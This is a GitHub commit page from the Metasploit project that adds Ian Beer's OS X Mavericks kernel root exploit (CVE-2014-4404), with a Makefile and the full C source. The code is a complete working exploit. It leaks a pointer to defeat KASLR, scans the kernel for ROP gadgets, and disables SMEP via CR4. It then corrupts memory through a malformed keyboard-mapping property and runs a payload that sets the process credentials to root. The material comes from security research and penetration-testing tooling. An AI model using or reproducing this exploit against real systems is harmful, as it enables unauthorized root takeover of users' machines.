Skip to content

Commit 7a2c9c4

Browse files
committed
Land rapid7#4263, @jvennix-r7's OSX Mavericks root privilege escalation
* Msf module for the Ian Beer exploit
2 parents c681654 + b357fd8 commit 7a2c9c4

File tree

4 files changed

+477
-0
lines changed

4 files changed

+477
-0
lines changed
17.1 KB
Binary file not shown.
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
all: key_exploit
2+
3+
key_exploit: key_exploit.c
4+
clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
5+
6+
install: key_exploit
7+
install -m 755 key_exploit ../../../../data/exploits/CVE-2014-4404
8+
9+
clean:
10+
rm -rf key_exploit
11+
rm -rf key_exploit.dSYM
Lines changed: 375 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,375 @@
1+
//
2+
// Source: https://code.google.com/p/google-security-research/issues/detail?id=126
3+
// Blog Post: http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html
4+
// Exploit Author: Ian Beer
5+
//
6+
7+
// clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
8+
// ianbeer
9+
#include <stdint.h>
10+
#include <stdio.h>
11+
#include <stdlib.h>
12+
#include <sys/mman.h>
13+
#include <sys/stat.h>
14+
#include <unistd.h>
15+
16+
#include <CoreFoundation/CoreFoundation.h>
17+
#include <IOKit/IOKitLib.h>
18+
19+
uint64_t kernel_symbol(char* sym){
20+
char cmd[1024];
21+
strcpy(cmd, "nm -g /mach_kernel | grep ");
22+
strcat(cmd, sym);
23+
strcat(cmd, " | cut -d' ' -f1");
24+
FILE* f = popen(cmd, "r");
25+
char offset_str[17];
26+
fread(offset_str, 16, 1, f);
27+
pclose(f);
28+
offset_str[16] = '\x00';
29+
30+
uint64_t offset = strtoull(offset_str, NULL, 16);
31+
return offset;
32+
}
33+
34+
uint64_t leaked_offset_in_kext(){
35+
FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");
36+
char offset_str[17];
37+
fread(offset_str, 16, 1, f);
38+
pclose(f);
39+
offset_str[16] = '\x00';
40+
41+
uint64_t offset = strtoull(offset_str, NULL, 16);
42+
offset += 0x10; //offset from symbol to leaked pointer
43+
return offset;
44+
}
45+
46+
47+
uint64_t leak(){
48+
io_iterator_t iter;
49+
50+
CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
51+
kIOServicePlane,
52+
CFSTR("AAPL,iokit-ndrv"),
53+
kCFAllocatorDefault,
54+
kIORegistryIterateRecursively);
55+
56+
if (CFGetTypeID(p) != CFDataGetTypeID()){
57+
printf("expected CFData\n");
58+
return 1;
59+
}
60+
61+
if (CFDataGetLength(p) != 8){
62+
printf("expected 8 bytes\n");
63+
return 1;
64+
}
65+
66+
uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
67+
return leaked;
68+
}
69+
70+
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
71+
72+
uint64_t load_addr(){
73+
uint64_t addr = 0;
74+
CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
75+
CFIndex count = CFDictionaryGetCount(kd);
76+
77+
void **keys;
78+
void **values;
79+
80+
keys = (void **)malloc(sizeof(void *) * count);
81+
values = (void **)malloc(sizeof(void *) * count);
82+
83+
CFDictionaryGetKeysAndValues(kd,
84+
(const void **)keys,
85+
(const void **)values);
86+
87+
for(CFIndex i = 0; i < count; i++){
88+
const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
89+
if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
90+
CFNumberGetValue(CFDictionaryGetValue(values[i],
91+
CFSTR("OSBundleLoadAddress")),
92+
kCFNumberSInt64Type,
93+
&addr);
94+
printf("%s: %p\n", name, addr);
95+
break;
96+
}
97+
}
98+
return addr;
99+
}
100+
101+
uint64_t* build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len){
102+
uint64_t pivot, mov_rax_cr4, mov_cr4_rax, pop_rcx, xor_rax_rcx, pop_pop_ret;
103+
104+
uint64_t kernel_base = 0xffffff8000200000;
105+
kernel_base += kaslr_slide;
106+
107+
int fd = open("/mach_kernel", O_RDONLY);
108+
if (!fd)
109+
return NULL;
110+
111+
struct stat _stat;
112+
fstat(fd, &_stat);
113+
size_t buf_len = _stat.st_size;
114+
115+
uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);
116+
117+
if (!buf)
118+
return NULL;
119+
120+
/*
121+
this stack pivot to rax seems to be reliably present across mavericks versions:
122+
push rax
123+
add [rax], eax
124+
add [rbx+0x41], bl
125+
pop rsp
126+
pop r14
127+
pop r15
128+
pop rbp
129+
ret
130+
*/
131+
uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
132+
uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
133+
uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
134+
printf("offset of pivot gadget: %p\n", pivot_gadget_offset);
135+
pivot = kernel_base + pivot_gadget_offset;
136+
137+
/*
138+
mov rax, cr4
139+
mov [rcx], rax
140+
pop rbp
141+
ret
142+
*/
143+
uint8_t mov_rax_cr4_gadget_bytes[] = {0x0f, 0x20, 0xe0, 0x48, 0x89, 0x01, 0x5d, 0xc3};
144+
uint8_t* mov_rax_cr4_loc = memmem(buf, buf_len, mov_rax_cr4_gadget_bytes, sizeof(mov_rax_cr4_gadget_bytes));
145+
uint64_t mov_rax_cr4_gadget_offset = (uint64_t)(mov_rax_cr4_loc - buf);
146+
printf("offset of mov_rax_cr4 gadget: %p\n", mov_rax_cr4_gadget_offset);
147+
mov_rax_cr4 = kernel_base + mov_rax_cr4_gadget_offset;
148+
149+
/*
150+
mov cr4, rax
151+
pop rbp
152+
ret
153+
*/
154+
uint8_t mov_cr4_rax_gadget_bytes[] = {0x0f, 0x22, 0xe0, 0x5d, 0xc3};
155+
uint8_t* mov_cr4_rax_loc = memmem(buf, buf_len, mov_cr4_rax_gadget_bytes, sizeof(mov_cr4_rax_gadget_bytes));
156+
uint64_t mov_cr4_rax_gadget_offset = (uint64_t)(mov_cr4_rax_loc - buf);
157+
printf("offset of mov_cr4_rax gadget: %p\n", mov_cr4_rax_gadget_offset);
158+
mov_cr4_rax = kernel_base + mov_cr4_rax_gadget_offset;
159+
160+
/*
161+
pop rcx
162+
ret
163+
*/
164+
uint8_t pop_rcx_gadget_bytes[] = {0x59, 0xc3};
165+
uint8_t* pop_rcx_loc = memmem(buf, buf_len, pop_rcx_gadget_bytes, sizeof(pop_rcx_gadget_bytes));
166+
uint64_t pop_rcx_gadget_offset = (uint64_t)(pop_rcx_loc - buf);
167+
printf("offset of pop_rcx gadget: %p\n", pop_rcx_gadget_offset);
168+
pop_rcx = kernel_base + pop_rcx_gadget_offset;
169+
170+
171+
/*
172+
xor rax, rcx
173+
pop rbp
174+
ret
175+
*/
176+
uint8_t xor_rax_rcx_gadget_bytes[] = {0x48, 0x31, 0xc8, 0x5d, 0xc3};
177+
uint8_t* xor_rax_rcx_loc = memmem(buf, buf_len, xor_rax_rcx_gadget_bytes, sizeof(xor_rax_rcx_gadget_bytes));
178+
uint64_t xor_rax_rcx_gadget_offset = (uint64_t)(xor_rax_rcx_loc - buf);
179+
printf("offset of xor_rax_rcx gadget: %p\n", xor_rax_rcx_gadget_offset);
180+
xor_rax_rcx = kernel_base + xor_rax_rcx_gadget_offset;
181+
182+
/* need this to jump over the vtable index which will be called:
183+
pop r15
184+
pop rbp
185+
ret
186+
*/
187+
uint8_t pop_pop_ret_gadget_bytes[] = {0x41, 0x5f, 0x5d, 0xc3};
188+
uint8_t* pop_pop_ret_loc = memmem(buf, buf_len, pop_pop_ret_gadget_bytes, sizeof(pop_pop_ret_gadget_bytes));
189+
uint64_t pop_pop_ret_gadget_offset = (uint64_t)(pop_pop_ret_loc - buf);
190+
printf("offset of pop_pop_ret gadget: %p\n", pop_pop_ret_gadget_offset);
191+
pop_pop_ret = kernel_base + pop_pop_ret_gadget_offset;
192+
193+
munmap(buf, buf_len);
194+
close(fd);
195+
196+
void* writable_scratch = malloc(8);
197+
memset(writable_scratch, 0, 8);
198+
199+
uint64_t rop_stack[] = {
200+
0, //pop r14
201+
0, //pop r15
202+
0, //pop rbp +10
203+
pop_pop_ret,
204+
0, //+20
205+
pivot, //+28
206+
pop_rcx,
207+
(uint64_t)writable_scratch,
208+
mov_rax_cr4,
209+
0, //pop rbp
210+
pop_rcx,
211+
0x00100000, //SMEP bit in cr4
212+
xor_rax_rcx, //flip it
213+
0, //pop rbp
214+
mov_cr4_rax, //write back to cr4
215+
0, //pop rbp
216+
payload //SMEP is now disabled so ret to payload in userspace
217+
};
218+
219+
uint64_t* r = malloc(sizeof(rop_stack));
220+
memcpy(r, rop_stack, sizeof(rop_stack));
221+
*len = sizeof(rop_stack);
222+
return r;
223+
}
224+
225+
void (*IOLockUnlock) (void*);
226+
int (*KUNCExecute)(char*, int, int);
227+
void (*thread_exception_return)();
228+
void* (*proc_ucred)(void*);
229+
void* (*kauth_cred_get)();
230+
void* (*kauth_cred_setuidgid)(void*, int, int);
231+
void* (*current_proc)();
232+
233+
void rebase_kernel_payload(uint64_t kaslr_slide){
234+
IOLockUnlock = kernel_symbol("_lck_mtx_unlock") + kaslr_slide;
235+
KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;
236+
thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;
237+
proc_ucred = kernel_symbol("_proc_ucred") + kaslr_slide;
238+
kauth_cred_get = kernel_symbol("_kauth_cred_get") + kaslr_slide;
239+
kauth_cred_setuidgid = kernel_symbol("_kauth_cred_setuidgid") + kaslr_slide;
240+
current_proc = kernel_symbol("_current_proc") + kaslr_slide;
241+
}
242+
243+
// rather than working out the offset of p_ucred in the proc structure just get
244+
// the code to tell us :)
245+
// proc_ucred just does return arg->u_cred
246+
uint64_t find_ucred_offset(){
247+
uint64_t offsets[0x80];
248+
for (int i = 0; i < 0x80; i++){
249+
offsets[i] = i*8;
250+
}
251+
return proc_ucred(offsets);
252+
}
253+
254+
// need to drop this IOLock:
255+
// IOLockLock( _deviceLock);
256+
// at code exec time rbx points to this, and this->_delegate->deviceLock is that lock
257+
// so need to call IOLockUnlock(rbx->_delegate->deviceLock)
258+
void kernel_payload(){
259+
uint8_t* this;
260+
//__asm__("int $3");
261+
__asm__("movq %%rbx, %0" : "=r"(this) : :);
262+
//this now points to the IOHIKeyboardMapper
263+
uint8_t* IOHIKeyboard = *((uint8_t**)(this+0x10));
264+
void* _device_lock = *((void**)(IOHIKeyboard+0x88));
265+
IOLockUnlock(_device_lock);
266+
267+
// real kernel payload goes here:
268+
//KUNCExecute("/Applications/Calculator.app/Contents/MacOS/Calculator", 0, 0);
269+
//thread_exception_return();
270+
271+
// get root:
272+
uint64_t ucred_offset = find_ucred_offset();
273+
void* old_cred = kauth_cred_get();
274+
void* new_cred = kauth_cred_setuidgid(old_cred, 0, 0);
275+
uint8_t* proc = current_proc();
276+
*((void**)(proc+ucred_offset)) = new_cred;
277+
thread_exception_return();
278+
}
279+
280+
void trigger(void* vtable, size_t vtable_len, char* exe){
281+
kern_return_t err;
282+
283+
CFMutableDictionaryRef matching = IOServiceMatching("IOHIDKeyboard");
284+
if(!matching){
285+
printf("unable to create service matching dictionary\n");
286+
return;
287+
}
288+
289+
io_iterator_t iterator;
290+
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
291+
if (err != KERN_SUCCESS){
292+
printf("no matches\n");
293+
return;
294+
}
295+
296+
io_service_t service = IOIteratorNext(iterator);
297+
298+
if (service == IO_OBJECT_NULL){
299+
printf("unable to find service\n");
300+
return;
301+
}
302+
printf("got service: %x\n", service);
303+
304+
char* bad_mapping = malloc(0x10000);
305+
memset(bad_mapping, 0, 0x10000);
306+
307+
uint8_t bad_header[] = {
308+
0x00, 0x01, // nmd.shorts = 1
309+
0x00, 0x00, // numMods = 0
310+
0x00, 0x00, // numDefs = 0
311+
0x00, 0x90, // numSeqs = 0x90
312+
};
313+
314+
memcpy(bad_mapping, bad_header, sizeof(bad_header));
315+
316+
uint8_t bad_seq[] = {
317+
0x00, 0x02, // len
318+
0x00, 0x78, 0x56, 0x00, // first entry
319+
0x00, 0x00, 0x00, 0x00, // second entry
320+
0xff, 0xff, // numMods
321+
};
322+
323+
memcpy(bad_mapping + sizeof(bad_header) + 0x8f*2, bad_seq, sizeof(bad_seq));
324+
325+
//need to overallocate and touch the pages since this will be the stack:
326+
mach_vm_address_t addr = 0x0000005678000000 - 10 * 0x1000;
327+
mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);
328+
329+
memset(addr, 0, 0x20*0x1000);
330+
331+
memcpy((void*)0x5678000200, vtable, vtable_len);
332+
/*
333+
uint64_t* vtable_entry = (uint64_t*)(0x0000005678000200 + 0x28);
334+
*vtable_entry = 0x123456789abcdef0; // call this address in ring0
335+
*/
336+
337+
338+
CFDataRef data = CFDataCreate(NULL, bad_mapping, 0x10000);
339+
340+
err = IORegistryEntrySetCFProperty(
341+
service,
342+
CFSTR("HIDKeyMapping"),
343+
data);
344+
345+
execve(exe, NULL, NULL);
346+
}
347+
348+
int main(int argc, char** argv) {
349+
if (argc < 2) { printf("Usage: ./%s [payload_exe]\n", argv[0]); exit(1); }
350+
351+
uint64_t leaked_ptr = leak();
352+
uint64_t kext_load_addr = load_addr();
353+
354+
// get the offset of that pointer in the kext:
355+
uint64_t offset = leaked_offset_in_kext(); //0x8cf0;
356+
357+
// sanity check the leaked address against the symbol addr:
358+
if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){
359+
printf("the leaked pointer doesn't match up with the expected symbol offset\n");
360+
return 1;
361+
}
362+
363+
uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;
364+
365+
printf("kaslr slide: %p\n", kaslr_slide);
366+
367+
rebase_kernel_payload(kaslr_slide);
368+
369+
size_t vtable_len = 0;
370+
void* vtable = build_vtable(kaslr_slide, kernel_payload, &vtable_len);
371+
372+
trigger(vtable, vtable_len, argv[1]);
373+
374+
return 0;
375+
}

0 commit comments

Comments
 (0)